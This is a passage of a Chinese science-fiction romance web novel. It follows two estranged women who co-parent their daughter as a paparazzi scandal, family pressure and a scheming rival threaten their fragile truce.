明毓咬牙切齿地看着母女俩上楼,气地将沙发上的抱枕直接扔了出去,抱枕飞出了几米之遥,可怜兮兮地躺在地上无人问津。 —— 宋青佩抱着颂颂回了房间,两人说了会儿话。 见小家伙还挺精神,于是她找了本图画书给颂颂看,转身进了浴室洗澡。 宋青佩抹了一把脸,哗啦啦的热水,冲刷掉了她满身的疲惫。 殊不知水声掩盖了敲门声。 颂颂跳下床,看着站在门外的明毓,奶声奶气道:“妈咪~” 明毓往里面看了一眼,问:“你妈妈呢?” “妈妈去洗澡了。” 听到颂颂的话,明毓犹豫了一瞬,问:“你妈妈还在生气吗?” 颂颂一双乌溜溜的大眼睛骨碌碌地转,“你又惹妈妈生气啦?” “我没有。” 颂颂一撇小嘴,一副我才不信你鬼话的模样,“肯定是你又做了对不起妈咪的事情,所以妈咪生气啦~” “不是……” 明毓想要解释,颂颂歪头不解道:“你为什么不哄哄妈妈呢?” 听了这话,明毓无奈道:“我不知道怎么哄。” “妈咪你好笨哦。”颂颂一脸认真地说:“就亲亲抱抱,撒撒娇就行了嘛,这样妈妈就会开心啦~” 明毓:“……” “加油,一定要好好哄哄妈妈~” 伴随着颂颂的话,门被推开,宋青佩穿着睡袍从浴室出来。 一身雪白的肌肤衬得皮肤更加莹润白皙,长发随意散着,露出精致的锁骨,胸前的美好若隐若现,引人遐思。 明毓愣了愣,连忙移开视线。 宋青佩也愣了一下,脸上的笑容有些僵硬。 她没想明毓居然会来找她,诧异道:“你怎么来了?有什么事?” 这话问的明毓心头火起,却又不好意思提起‘生日’的事,她审视地盯着宋青佩,眸色闪闪烁烁,变幻不定。 这个眼神看得宋青佩很不自在,正想开口让她走。 “妈妈~” 颂颂一蹦一跳地跑了过来,拉着宋青佩的袖子,仰着小脸道:“今晚,可以一起陪我睡吗?” 宋青佩愣了愣,“什么?” 颂颂眨了眨眼睛,“妈咪和妈妈陪我一起睡,好不好?” 这是颂颂第一次提这种要求,但是,宋青佩也不会答应的。 她几乎脱口而出:“不……” “好。”明毓说得却比她还快。 “好耶!”颂颂兴奋地挥舞着手臂,在原地蹦蹦跳跳。 宋青佩的眼底闪过一抹复杂,看向明毓的目光满是不解,而奇怪的是,明毓冷沉地脸忽然变得柔和了许多,甚至对她笑了笑。 这让宋青佩不由感觉见了鬼一样,今天的明毓是不是中邪了, 根本不给宋青佩纠正的机会,颂颂就兴奋地拉着两人的手往床边走去。 “快点快点,今晚我要跟妈妈和妈咪一起睡~” 颂颂兴奋地喊着,一边拉扯明毓,一边拽着宋青佩往床上爬。 宋青佩被她弄得哭笑不得,不过看着女儿那期待的表情,实在不忍拒绝,只能任由颂颂拉着自己爬上床。 “快点躺下,睡觉!” 颂颂躺在正中间,对着两个尴尬坐着的人说。 明毓看了宋青佩一眼,沉默着侧身躺在了另一侧,只不过她的目光始终落在宋青佩身上。 “妈咪,你不睡吗?” 见妈妈半天没动静,颂颂睁着水汪汪的大眼睛,期待地望着宋青佩。 宋青佩无奈,只得无视了明毓的视线躺到了另一边,拍了拍颂颂,“好了,颂颂,赶紧睡吧!” 颂颂点点头,乖巧地说:“妈妈,晚安。妈咪,晚安。” “晚安。” 明毓就在旁边,宋青佩不想理她,伸手关掉了灯。 黑暗中,宋青佩的眼皮一直跳个不停。 这些日子以来,她一直努力地克制着自己,不去想过去,甚至刻意的疏远和冷淡,就是希望自己能够尽快走出来。 然而,她终于放下了,明毓却又莫名其妙地贴了上来。 她在黑夜里睁着眼睛,无语的在心里吐槽,只觉得明毓真的是一点也不让人念她点好…… 最终,她叹了口气,索性翻个身,背对着明毓。 明毓侧过头,漆黑的眸子静静地凝视着她的后背,一动不动。 她也不知道自己当时为什么会答应颂颂的要求,只是心底隐隐有个声音,不想就这样莫名其妙地结束这一天。 两人沉默着,只有呼吸声在空气中流淌。 过了许久,许久…… 久到都能听到颂颂安静的呼吸声,确认她已经睡着了。 背对着明毓的宋青佩忽然坐了起来,在黑暗中低声喊了一句,“明毓?” 明毓没作声,只是呼吸忽然重了几分。 “我知道你没睡。” 她不想承认自己的尴尬,明毓故意咳了一声,“怎么了?” 能怎么了?宋青佩微微挑眉,“颂颂睡了,你可以回去了。” “……”明毓没说话,忽然坐起身,直勾勾地看着她。 虽然灯色黯淡,但是适应了黑暗,还是能够感应到那种如芒刺背的审视,那目光让宋青佩很不舒服。 她不由皱眉,“时间不早了,我要休息了。” 粗重地长呼吸在空气中蔓延。 宋青佩隐隐觉得不安,正欲开口。 忽然,一个黑影陡然从床上起来,直直地逼近,压住宋青佩的肩膀,将她死死抵在床边,“你……你干什么?” 明毓俯身凑近她,强压愤怒,吐字如冰:“宋青佩,你说我干什么?” 宋青佩怕吵醒颂颂,没有与她纠缠,只是啪的一下开了灯。 屋内顿时一片明亮,明毓精致明艳的五官映入宋青佩的视线之中,冷冽的眼眸中燃烧着怒火。 “明毓,你到底想干什么?”宋青佩压低声音道。 “宋青佩,今天是什么日子?别告诉我你忘了。”明毓咬牙切齿。 不提这个还好,一提,宋青佩脸色也立刻冷了下来,讥诮一笑,嘲讽地看向她。 一瞬间,明毓的气势忽然弱了下来,低声喃喃,“以前你都会……” “都会什么?给你过生日?还是送你礼物?” 宋青佩彻底被她的厚脸皮给气笑了,冷笑连连:“呵,真是笑话。我生日那天你送我一耳光,你是想让我也还你一耳光吗?” 明毓被堵得哑口无言,难以置信地望着她。 宋青佩咬牙,“放开我,出去!” 完全没反应过来的明毓,还在紧紧地握着她的肩膀,一时间忘了反应。 忍无可忍的宋青佩,扬起手,朝着她精致如画脸扇了过去。 “啪——” 一声脆响,明毓的脸偏向了一边。 她捂着右脸,呆滞地看向宋青佩,眼底的愤怒慢慢地消失殆尽,转化成不可置信。 第22章 她似乎是喜欢着宋青佩的。 打完,宋青佩也吓了一跳。 以明毓的身份地位,愤怒之下捏死她跟捏死蚂蚁一样简单。 她明知两人的差距,也一遍遍地告诉自己,要忍耐,可终究还是没忍住。或许,她的内心深处,两人还是平等的,她本能地抗拒这种差距。 看着明毓脸上渐渐浮现出的清晰五指红印,宋青佩目光复杂,想要张口说些什么,却陡然察觉到握着肩膀的力道陡然加重,疼得她倒抽一口凉气。 回过神的明毓,死死地盯着她,一字一句,“你。打。我!” 她的语调极其危险,像是从牙缝里挤出来的。 又是这种高高在上的语气,愕然的态度,反而更加衬托出她的傲慢,好像被打一巴掌是什么天塌了的事。 那她呢,莫名其妙被打一耳光就是活该吗? 宋青佩被迫仰头迎视她的目光,平静地反问道:“你可以打我,我为什么不能打你?” “你……”明毓欲言又止。 似乎是被宋青佩的态度怔住了,她眼眸中的怒火闪闪烁烁,明明灭灭,似乎陷入了某种纠结之中。 “我怎么了?” 在宋青佩的追问下,明毓反而不说话了。 而宋青佩实在厌倦了这种莫名其妙的态度,如果可以,她更希望两人可以认真地谈谈,能解决问题最好,解决不了她也彻底死了沟通的心。 于是这一次她没有逃避,反而主动直视着明毓的双眸,认真道:“明毓,别吵醒了颂颂。你放开我,我们出去谈。” 明毓死死地看着她,没有松手。 宋青佩微微蹙眉,不认同的看着她。 两人无声地拉扯着。 最终,明毓移开视线,缓缓放开她的肩膀,无力地站起身,转身走向房门。 宋青佩起身跟了上去。 两人一前一后地下楼,明毓径直去客厅沙发上坐下。 宋青佩坐到她对面,垂下眼帘,沉声道:“你先说,还是我先说?” “……”明毓抬头,目光复杂地看着她。 宋青佩实在讨厌极了她的沉默,不耐道:“你不说,那我就说了。” “……” 明毓再度沉默。 宋青佩组织了一下语言,徐徐道:“明毓,我知道你看不起我,觉得我的存在对你是一种侮辱,但是事情已经发生了,我希望你能公平的看待这件事。” “这并不是我的错,只能说天意弄人。” “不管你信不信,我只能保证,绝对不会利用颂颂去达成什么目的,更不会垂涎你的权势地位。我只是想陪着颂颂长大,仅此而已。” 一字一句,真诚而坦然。 仿佛将内心所想,剖开了,揉碎了,全部展现在了她面前,只希望明毓可以听进去一点她的话,为了颂颂,两人可以相对平和的相处下去。 而明毓抿唇,目光复杂地看着宋青佩,似乎是在思考她的话里面究竟有多少真假。 见她迟迟没有回答,宋青佩有些失望,以为她还是不相信。 沉默了片刻,宋青佩失望道:“你要是不信” “我信。” 明毓忽然开口打断了她的话,沉默片刻,才低声说:“我只是奇怪,你为什么突然变得这么……大胆?你之前不这样的。” 她犹豫了一下,用了大胆这个词形容,出口后却觉得有些不恰当,却又一时找不到更加合适的形容。毕竟刚找到宋青佩的时候,她卑微顺从,被她轻易拿捏,为何不过短短时间就变化如此大? 这个问题困扰她太久了,她每天想,却始终不能找到答案。 所以她才会一直怀疑,是不是因为那个慕容瑞雪,才会忍不住做出那么多失控的事,当然,这其中,缘由她无法对宋青佩言明,只能如此含糊的问。 “因为我也是个人,所以做不到像条狗一样听话。” 宋青佩垂下眼帘,讥诮一笑:“我曾经以为自己可以为了颂颂放下尊严,委曲求全,像条狗一样对你言听计从。但是……我发现自己做不到,我是个人,我也有自尊,也会心寒,愤怒和怨恨。” 她没有骗她,说出来后心里好受了许多,可还是隐隐作痛。 “……” 明毓沉默着,看不出表情。 宋青佩看着她,轻笑道:“你要是想让我像条狗一样对你言听计从,抱歉,我做不到。” 明毓愣住了,呆呆地看着她,似乎不敢相信自己的耳朵。 她的心脏猛然缩紧,声音颤抖,“……我不是这个意思。” 宋青佩嘴角露出一丝嘲弄的弧度,“……那么,请你告诉我,你对我有过丝毫尊重吗?你难道没有把我们的过去视为耻辱吗?” “我……”明毓一时语塞。 她想否认,可又不屑于撒谎,只能保持沉默。 哪怕心里早就知道这一切,可是此刻明毓的默认,还是让宋青佩忍不住心脏剧烈收缩,仿佛被人狠狠地捅了一刀。 她苦笑一声,“明毓,你因为自己的身份抹除过去的一切,我可以理解。我知道,我们云泥之别,我配不上你。但是我真的已经很努力了,努力地想让颂颂以我为傲,我希望你能理解,也请不要再逼我。” “……” 明毓继续沉默着,心脏的位置传来一阵钝痛,让她几近窒息。 话说到这里已经够了,她不愿意再卑微下去,也不想再和明毓争辩任何的事情,起身道:“明毓,我不奢望我们能做朋友,哪怕面子上过得去也行,为了颂颂。” “好。”许久,明毓艰涩地吐出这一个字。 宋青佩顿时松了一口气,“谢谢。” 说着,她站起身,转身欲走。 走到一半,她又停下了脚步,回头看向明毓,“对不起,今天是我冲动了,不该动手的,以后不会了。” 说完,转身离去。 明毓一个人坐在沙发上,久久没有挪动。 直到宋青佩走到楼梯尽头,满上要转弯时,她忽然站起身,哑着嗓子说了一句久违的:“对不起,我们扯平了。” 闻言,宋青佩脚步一顿,只觉得好气又好笑。 不愧是明毓,就算是道歉,也能听着也让人不痛快。 她并没有将这个插曲当做一回事,自认两人达成一致的宋青佩,放下了心头大石,满足地抱着颂颂睡了。 另一边,明毓却怎么也睡不着。 宋青佩的话像是魔咒般,在她的脑海中挥之不去,涌起一股难掩的挫败感。 她不知道该怎么形容自己的感觉,酸涩难当,好像有什么东西经过时间的流逝,在胸腔里慢慢发酵起来,越发浓烈起来。 她不愿,也不敢去想。 一整夜,几乎辗转反侧,满脑子都是宋青佩对她的失望控诉。 翌日。 明毓无精打采地下楼,再次听到了熟悉的欢笑声。 母女俩坐在餐桌前,宋青佩正在喂颂颂喝粥,看到她笑声戛然而止。 “妈咪来了,快放下,我自己喝。” 颂颂先是边小声跟宋青佩说话,一边眨眼睛,宋青佩哭笑不得,只能配合地将碗放到她跟前。 等拙劣的‘伪装’好,颂颂甜甜喊了声,“妈咪~” “颂颂,早安。” 明毓很勉强地笑了笑,走到两人对面坐下。 有女佣立刻给她上了早餐,明毓没什么胃口,只是看了一眼,视线落在了颂颂身上,看着她吃饭。 正在乖乖喝粥的颂颂察觉到她的视线,抬头,刚想说话,看到她脸上明显的红指印,小脸不由愣了愣,心疼的问:“妈咪,有人欺负你了吗?” 明毓一时没反应过来,愣住,“什么?” 颂颂伸出小手摸了摸她的脸,语气心疼,“妈咪,疼不疼?” 明毓伸出手,轻柔地抚摸颂颂的小脑袋,“不疼。” “妈咪,我帮你吹吹吧。” “好。” 明毓闭上眼睛,任凭颂颂的手指在她的脸上摩挲,心中涌起一阵奇异的感受,从未有过的温暖在她的胸口发酵。 宋青佩看着两人亲昵的模样,心里很是复杂。 直到颂颂捧着明毓的脸,奶声奶气地问:“妈咪,谁打你了?让妈妈去帮你报仇,妈妈可厉害了。” 闻言,明毓没说话,只是淡淡地斜睨了宋青佩一眼。 宋青佩一阵尴尬,只能咳了一声,“颂颂,快把粥喝完,待会还要去上课呢。” “哦!” 见她拿起勺子,宋青佩又道:“慢点吃,别呛到。” “好。”颂颂乖巧点头,拿纸巾擦拭嘴角。 宋青佩放下筷子,看了一眼坐在对面的明毓,“我吃完了,先去上班了。” “等一下。”明毓开口道。 宋青佩脚步一滞,“还有什么事吗?” 明毓看了她一眼,解释道:“颂颂明天就要去上学了,有开学的欢迎仪式,你去吗?” 想到自己的‘保证’,宋青佩有些为难,她当然想去。 可明毓不想让人知道她的存在,但颂颂年纪还小,到时候肯定会喊她妈妈,她去了怕是会很麻烦。 见她不说话,以为她不想去,明毓脸色肉眼可见地沉了下来。 “你就这么忙,连这点时间都没有吗?” “我当然有时间。”宋青佩下意识反驳道:“我不是怕到时候颂颂喊我妈妈,不好解释。” 这话说的明毓呼吸一窒,想到之前自己对宋青佩的警告,脸色一阵红一阵白。 她抿唇,颇为别扭道:“你可以去,这些小事不必太在意。” 闻言,宋青佩十分惊讶地看向她,不敢置信地重复道:“真的?” 明毓没吭声。 宋青佩看出她退让的意思,立刻道:“那行,我明天请假送颂颂去学校。” “……随便吧。” 明毓不喜欢她这副不信任自己的表情,不悦道:“你自己想去就去,跟我没关系,我明天没事也会去的。” “行,我知道。” “嗯。” “那我去上班了。” 看着她离开的背影,明毓心里莫名的空落落的。 这就是她们以后相处的模样了吗? 莫名地,死去的记忆开始苏醒…… 曾经她们在一起时,宋青佩会亲自下厨,给她做饭,会絮絮叨叨地说很多话,哪怕是她极少回应,也不知疲惫。而不是像现在这样,避之不及,带着虚假的面具,甚至连伪装都如此敷衍。 可惜,现在一切都变了…… 明毓摇摇头,深深地吸了一口气,将心底那种莫名的情绪压下去。 她一勺一勺地舀起粥,送进嘴里,却一点味道都尝不出来,味同嚼蜡般,让她的心情一时间跌入谷底。 一股强烈的不甘自心头浮起,越来越浓烈,不断灼烧着她的心脏。 她想挽留。 明毓猛地一怔。 挽留?她想挽留什么? 一个她不愿意承认的事实越发明显,让她无法再继续逃避下去。 她似乎……是喜欢着宋青佩的。 第23章 你是不是发热期到了? 想明白自己感情的明毓,心情复杂极了。 她既于惶恐自己对宋青佩的感情,却也清楚,对方怕是早已经对她失望透顶。 晚上回到家的时候,她试图借着陪颂颂的机会,拉近与宋青佩的距离,然而宋青佩对她的暗示却始终无动于衷,仿佛完全看不懂她的意思。 明毓不知道她是真傻还是装傻,却又不好直接将自己的感情宣之于口。 陌生的情愫让她接连两日失眠。 第二天一早。 明毓早早起床,还特意换上了一身浅色的连衣裙,化了淡妆,试图让自己看起来更加亲和,好相处一些。 她下楼时,宋青佩已经坐在餐桌旁,正和颂颂一起吃着早餐。 颂颂看到明毓,立刻开心地喊道:“妈咪,早安!” 明毓笑了笑,走到颂颂身边,轻轻摸了摸她的头,“早安,颂颂。” 她的目光不由自主地瞟向宋青佩,却发现对方只是淡淡地看了她一眼,便继续低头吃饭,仿佛根本没怎么把她当回事。 明毓心里一阵失落,但她还是坐到颂颂旁边,柔声问:“颂颂,今天要去学校了,紧张吗?” 颂颂摇摇头,笑嘻嘻地说:“不紧张!妈妈说要陪我去,我就不怕了。” 明毓深吸了一口气,努力让自己看起来平静,看向宋青佩道:“那……我们一起送颂颂去吧。” 昨天她已经说过了,宋青佩倒是并没有多惊讶,只是点了点头。 “嗯,赶紧吃饭吧,第一天别迟到了。” 明毓还想说些什么,却发现根本找不到什么话题来拉近两人的距离,只能懊恼的低头默默吃饭。 吃过饭后,宋青佩站起身,拿起颂颂的书包,“我们走吧,时间不早了。” 明毓看着她转身的背影,心里一阵无力。 三人一起上了车,颂颂坐在后座,兴奋地左顾右盼。 明毓坐在了副驾驶,时不时瞥一眼后座的宋青佩,宋青佩却始终目视前方,偶尔转头看一颂颂,视线一直不曾落在她身上,这让她感到挫败而无奈。 就在明毓心中郁闷的时候,颂颂突然转过身来,用清澈的眼神看着宋青佩,“妈妈,你知道吗?我今天要在学校表演节目!” 宋青佩很配合的问:“哇,什么节目啊?” “我和小伙伴们要跳舞!”颂颂兴奋地说道,脸上满是期待。 “颂颂真棒,妈妈在台下给你加油好不好?” “好啊~颂颂会努力的!” 见宋青佩笑起来了,明毓正试图搭话,宋青佩又转头看向了窗外,仿佛刚才的温柔只是昙花一现,她不禁一阵失落,一路上再没有找到机会跟宋青佩说话。 当她们终于抵达学校,颂颂开心地奔向校园。 校门口的飘扬的彩旗、兴奋的孩子们、家长们的欢声笑语,构成了一幅温馨的画面。 “我去看着颂颂。” 宋青佩说了一句,就转身朝着人群中的颂颂追去。 清晨的校园静谧而宁静,微风轻拂,树叶沙沙作响。 明毓和宋青佩一同走在通往学校的路上,颂颂在前面欢快地蹦跳,时不时回过头来用期待的眼神看着她们。 “妈妈,今天我一定要表现得很好!”颂颂忽然停下,转过身,眼中闪烁着兴奋的光芒。 “当然,颂颂是最棒的!”宋青佩笑着夸道。 见状,明毓心中那股苦涩又加重了几分,宋青佩从不会对她这么笑。 路上的行人来来往往,阳光洒在她们的身上,宛如镀上了一层金色的光辉,然而明毓的心情却显得格外沉重,失落。 她努力想找话题,试图打破这种僵局,“我记得,你之前说过等颂颂上学那天,要在*校门口拍张全家福纪念一下。” 宋青佩微微皱眉,似乎并不想接这个话题,“你别多想,那不过是个玩笑而已。” 简单的一句话,如同一道冷风,瞬间将明毓的热情打散。 她无言以对,只能沉默着走在后面,心中默默生闷气。她想要拉近彼此的距离,却发现无论她怎么努力,宋青佩却依旧对她保持着合适的冷淡距离。 难道,她真的已经在心里完全划清界线了吗? 此时,颂颂在前面跑着,兴奋地挥舞着手,“妈咪,妈妈,快来啊!” 宋青佩怕颂颂跑丢了,赶紧追了过去。 就在这时,几个手中拿着相机,迅速朝她们靠近,宋青佩忙着低头和颂颂说话,所以没有注意到。 颂颂拉着宋青佩的手,冲着后面的明毓喊,“妈咪,你快点!” 听到颂颂的喊声,明毓这才收敛心头的失落,快步追了上去,两人一边一个,拉着颂颂的小手,走在小道上,看上去很是一副养眼的画面。 因为周围的家长和孩子太多,吵吵闹闹的,所以那几个人拿着摄像机的人,对着三个人一通猛拍,并没有被发现。 他们对明毓似乎十分忌惮,拍了几张照片片便匆忙离去,丝毫没有惊动任何人。 还在陪着颂颂的明毓并不知道,她们已经成了网络上的热议话题。 【明毓上将私生女曝光!】 这条热搜迅速上了首页,众多网友纷纷围观,评论区瞬间炸开了锅。 战南笙坐在自己的办公室里,手指轻轻敲击着桌面,幸灾乐祸地盯着光屏上的热搜。 标题醒目地写着:“明毓上将与神秘Alpha共同接送孩子,疑似伴侣曝光!” 配图是明毓和一个身材高挑的女Alpha并肩走在一起,两人中间还牵着一个小女孩的手,虽然照片有些模糊,但依然能看出面容。 战南笙翻阅着资料,眼中闪过一丝得意。 她早就对明毓的私生活有所怀疑,所以派了人去调查,没想到明毓失踪的那两年竟然流落到了垃圾星,还和一个劣等Alpha——宋青佩在一起生活了两年,甚至生下了一个孩子。 “呵,明毓,你也有今天。”战南笙冷笑一声,心中已经有了计划。 她决定亲自去找宋青佩,利用她的身份和明毓的过去,彻底击垮明毓的声誉,这下看她还怎么坐稳校长这个位置。 没多久,明毓也看到了这条热搜。 车内,宋青佩见她脸色陡然一变,不由好奇的瞥了一眼。 看到内容后,她不禁一慌,知道这种情况一旦被媒体放大,自己和明毓的关系又会被推到风口浪尖,明毓会因此迁怒,两人刚刚缓和的关系怕是又要出问题。 她试图解释:“抱歉,我没想到第一天送颂颂来学校,就被人拍到” “跟你没关系,我会处理。” 明毓打断了她的话,立刻拨通了一个电话,“林中尉,立刻去查一下这个热搜的发稿源头,我要所有的资料。” 见她眉头紧锁,宋青佩心中担忧未消,正欲开口。 突然,明毓的通讯器响起,她低头看了一眼,屏幕上显示的是“奶奶”两个字。 她的心猛地一沉,手指顿了顿,但还是按下了接听键。 “明毓,这到底怎么回事?”奶奶的声音冷冽而威严,透过通讯器传来,带着不容置疑的压迫感,“你知道现在外面闹成什么样了吗?你失忆流落垃圾星,还和一个劣等Alpha生下孩子的事情,已经传得全星际人尽皆知了!你知不知道这对你的影响有多大?” 明毓握紧了通讯器,声音有些沙哑:“奶奶,这件事我会处理好的。” 丝毫不理会她的保证,奶奶的语气更加严厉,“明毓,你立刻到湖心院来见我。” 说完,通讯器**脆利落地挂断,车内陷入一片死寂。 在车内的沉寂中,宋青佩的心绪压抑而复杂。 她转过头,看到明毓脸上几乎是决绝的表情,感到一阵不安,心中隐隐有种预感,这场风波将会对两人刚刚稳定的关系产生难以逆转的影响。 “明毓,我觉得……”宋青佩试图找寻合适的措辞,“也许我们该正面回应这件事,我们毕竟已经没关系了,不应该让外界因此造成误解。” 听到她那句没关系了,明毓眉心狠狠一皱,直接否定了她的提议。 “我说了,这件事不用你管,我会处理好的。”明毓直接对司机下了命令,“先送你回家,我再去奶奶那边。” 宋青佩的心一沉,微微犹豫,最后深吸一口气,转向窗外,外面的城市风景在急速掠过,仿佛在嘲笑她的无力。 “我……我自己去公司就行,你去忙吧。” 最终在宋青佩的坚持下,明毓只得点头同意。“好,你路上小心。” 宋青佩下车时,回过头,看见明毓依旧坐在车里,目光沉凝,流露出一丝无奈和担忧。不由在心底默默祈祷,希望这场风波不会将两人卷入更深的漩涡。 与此同时,明毓的心中涌动着复杂的情绪,指示司机开车去湖心院。 她的奶奶显然已经等不及要见她了。 湖心院是家族的老宅,外观古朴而典雅,院子里种满了苍翠的松柏,四周环绕着蜿蜒的人工湖,仿佛是个静谧的世外桃源。 然而今天,这个地方对明毓来说,却是一种无形的压迫。 她踏入宅子,奶奶早已在厅堂内等候,面色冷峻。 明毓走进门口,奶奶已经没了平日的沉静,直逼向她,“你终于来了,明毓!这件事到底是怎么回事?” “你放心,我会处理好这件事的。”明毓再次保证。 “处理好?你怎么处理?”奶奶的语气更加严厉,“你现在是澜星高级军事学院的校长候选人,被劣等Alpha标记的丑闻一旦发酵,你的前途就毁了!你知不知道有多少人盯着你这个位置?你知不知道战南笙已经在背后推波助澜,等着看你笑话?” 明毓沉默了片刻,低声道:“我知道,奶奶。但这件事不是丑闻,颂颂是我的女儿,宋青佩也不是什么劣等Alpha,她……” “够了!”奶奶厉声打断了她,“明毓,你是不是被那个女人迷了心窍?她不过是个垃圾星的劣等Alpha,贪慕权势才利用孩子与你纠缠不清!你现在居然为了她,连自己的前途都不要了?” “奶奶!”明毓的声音突然提高了几分,带着一丝隐怒和不甘,“宋青佩不是那种人!她从来没有贪慕过什么权势,她甚至……甚至不想再和我有任何瓜葛。” “那你就更应该把她送走!” 奶奶的语气不容置疑,“明毓,你是明家的继承人,是整个家族的希望。你不能因为一个无关紧要的人毁了自己!我已经联系了媒体,会想办法把这件事压下去。但你必须要立刻把宋青佩送走,越远越好!” 明毓的心猛地一紧,手指紧紧攥住,指节泛白。 许久,她的声音低沉而坚定:“奶奶,我不能将她送走。颂颂是我的女儿,宋青佩也是我……很重要的人。” “明毓!”奶奶的声音陡然拔高,带着明显的怒意,“你这是在胡闹!你知不知道自己在说什么?为了一个垃圾星的女人,你连大局都不顾了吗?” “奶奶,这不是胡闹。”明毓的声音依旧平静,却带着一种不容反驳的力量,“宋青佩并没做错什么,她好不容易才适应澜星的生活,我不能为了所谓的大局再牺牲她。这件事我会妥善处理,请您相信我的能力。” 沉默了片刻,随后传来奶奶失望的叹息:“明毓,你太让我失望了。你父亲当年就是因为色令智昏,才会……算了,我不想再提。但你要记住,你是明家的继承人,你的每一个决定都关系到整个家族的命运。如果你执意要忤逆我,那就别怪我不顾祖孙情分。” 明毓的心猛地一颤,手指微微发抖。 她知道奶奶的话意味着什么——如果她坚持留下宋青佩,明家很可能会与她划清界限,甚至剥夺她的继承权。 但她没有退缩,而是深吸了一口气,语气坚定:“奶奶,我明白您的担忧,但我已经决定了。至于明家的继承权……如果您觉得我不配,那就请您另选他人吧。” “你!”奶奶显然被明毓的话激怒了,“明毓,你这是在威胁我吗?” “不,奶奶,我只是在陈述事实。”明毓的声音依旧平静,却带着一种决绝,“我已经不再是那个只会听从您安排的小女孩了。我有自己的判断,宋青佩和我妈妈不一样,她不是您口中那种贪慕权势的人。请您……理解我。” 奶奶沉默了许久,最终长叹一声:“好好好,你翅膀硬了,我管不了你了,你好自为之吧!” 她气的转身离去,留下明毓一人站在空旷的大厅里。 周遭再次陷入一片死寂。 明毓缓缓松开了攥着的手心,她知道,自己刚刚做出了一个足以改变她一生的决定。但她不会后悔,因为她终于想清楚了,宋青佩和颂颂对她来说意味着什么。 另一边。 宋青佩刚踏进公司大门,就感觉到一股异样的氛围。 往常熟悉的同事们今天似乎格外安静,目光躲闪,偶尔瞥向她时,眼神中带着探究和窃窃私语。 她皱了皱眉,心里隐隐有些不安,但还是装作若无其事的样子,径直走向自己的工位。 “你看,就是她吧?新闻上说的那个……” “对啊,没想到她居然和明毓上将有关系,还生了个孩子!” “嘘,小声点,别让她听见了……” 尽管那些议论声压得很低,但宋青佩还是捕捉到了只言片语。 她的脚步微微一顿,手指不自觉地攥紧了掌心,心里一阵发紧。 果然,今天的热搜已经传开了。 她深吸一口气,强迫自己冷静下来,继续往前走。 坐到工位上,她打开光脑,试图专注于工作,但周围的窃窃私语却像一根根细针,不断地刺着她的神经。 她努力屏蔽那些声音,可心里却无法平静。 她知道,自己和明毓的关系曝光后,必然会引来无数猜测和非议,但她没想到会这么快就影响到她的工作。 “青佩,你还好吗?”一个温和的声音从旁边传来。 宋青佩抬起头,看到慕容瑞雪正站在她桌前,手里拿着一份文件,眼神中带着关切。 看到她,宋青佩紧绷的神经稍稍放松了一些。 “我没事。”她勉强笑了笑,试图掩饰自己的情绪。 慕容瑞雪显然不信,但她没有多问,只是将文件递给她:“这是今天要修理的机甲数据,你看看吧。如果有不懂的地方,随时问我。” 宋青佩接过文件,点了点头:“谢谢。” 慕容瑞雪没有立刻离开,而是犹豫了一下,低声问道:“青佩,今天的热搜……你看到了吗?” 宋青佩的手指微微一顿,随即若无其事地翻开了文件:“嗯,看到了。” “你……和明毓上将,真的像新闻上说的那样吗?”慕容瑞雪语气中带着一丝试探。 宋青佩沉默了片刻,最终叹了口气:“瑞雪姐,这件事很复杂。我们确实有个女儿,但是我和明毓……早就没关系了。” 慕容瑞雪听到她的回答,明显松了一口气,“青佩,你别太在意那些流言蜚语,这事不是你的错。” 宋青佩感激地看了她一眼,心里稍稍好受了一些:“谢谢你,我没事。” 慕容瑞雪拍了拍她的肩膀,语气轻松:“别想那么多了,先工作吧。待会儿我教你修理那台新型机甲,你可是见过最有天赋的人,别被这些事影响了状态。” 宋青佩点了点头,努力将注意力集中在工作上。 然而,尽管她试图屏蔽外界的干扰,但那些若有若无的目光和议论声依旧让她感到压抑。 时间过得飞快,转眼就到了下班时间。 宋青佩收拾好东西,和慕容瑞雪道别后,独自走出了公司大楼。 夜晚的风有些凉,她裹紧了外套,然而,还没走多远,一个高大的身影突然挡在了她面前。 宋青佩下意识地后退了一步,抬头看向对方。 那是一个陌生男子,穿着一身黑色西装,面容冷峻,眼神中带着一丝不容拒绝的强势。 “宋小姐,有人要见你。”男子开口说道,语气平静却带着命令的意味。 宋青佩心中一紧,警惕地看着他:“你是谁?谁要见我?” 男子没有回答她的问题,只是微微侧身,做了个“请”的手势:“宋小姐,请跟我走一趟。至于是谁要见你,你去了就知道了。” 宋青佩握紧了手中的包,心里飞快地思索着对策。 她并不认识这个人,但从他的语气和态度来看,显然来者不善。她环顾四周,发现街道上人来人往,但并没有人注意到这边的异常。 “抱歉,我不认识你,也不会随便跟陌生人走。”她冷静地说道,试图绕过男子离开。 然而,男子却一步跨到她面前,挡住了她的去路:“宋小姐,我建议你配合。否则,事情可能会变得不太愉快。” 宋青佩心中一沉,知道对方不会轻易放她离开。 她深吸一口气,强迫自己冷静下来:“好,我跟你走。但我要先打个电话。” 男子语气依旧平静:“可我建议你不要惊动太多人,尤其是明毓上将,这对你和她都不好。” 听到“明毓”两个字,宋青佩的心猛地一跳。 她拿出通讯器,犹豫了一下,最终还是没有拨通明毓的号码。 将通讯器放回包里,抬头看向男子:“走吧。” 男子满意地点了点头,带着她走向停在路边的一辆黑色悬浮车。 车门自动打开,宋青佩坐了进去,心中难掩忐忑,但表面上依旧保持着镇定。 车子启动后,男子坐在副驾驶,回头看了她一眼,语气轻松:“宋小姐,不用紧张。我们只是带您去见一个人,说几句话而已。” 宋青佩没有回应,只是默默地看着窗外飞速掠过的景色,心中却在飞速思考。 她不知道对方是谁,也不知道他们的目的,但她猜测,一定和明毓有关。 车子很快驶入了一片高档住宅区,最终停在一栋豪华别墅前。 男子下车后,为宋青佩打开车门,做了个“请”的手势:“宋小姐,到了。” 宋青佩下了车,抬头看了一眼眼前的别墅,心中更加警惕。 她跟着男子走进别墅,穿过宽敞的大厅,最终被带到了一间书房。 书房里,一个身材高挑、眯着桃花眼的女人正背对着她站在窗前。听到脚步声,她缓缓转过身来,目光锐利地看向宋青佩。 “宋小姐,久仰大名。”女人微微一笑,语气中带着一丝嘲讽,“我是战南笙。” 宋青佩心中一凛,立刻明白了对方的身份——战南笙,明毓的竞争对手,她到澜星没多久就对两人的事情早有耳闻,恐怕也是今天热搜的幕后推手。 她握紧了掌心,强迫自己冷静下来:“战小姐,你找我有事?” 战南笙走到她面前,上下打量了她一番,语气意味深长:“宋小姐,我找你,是想和你谈一笔关于明毓的交易。” 战南笙的话音刚落,书房内的气氛瞬间凝固。 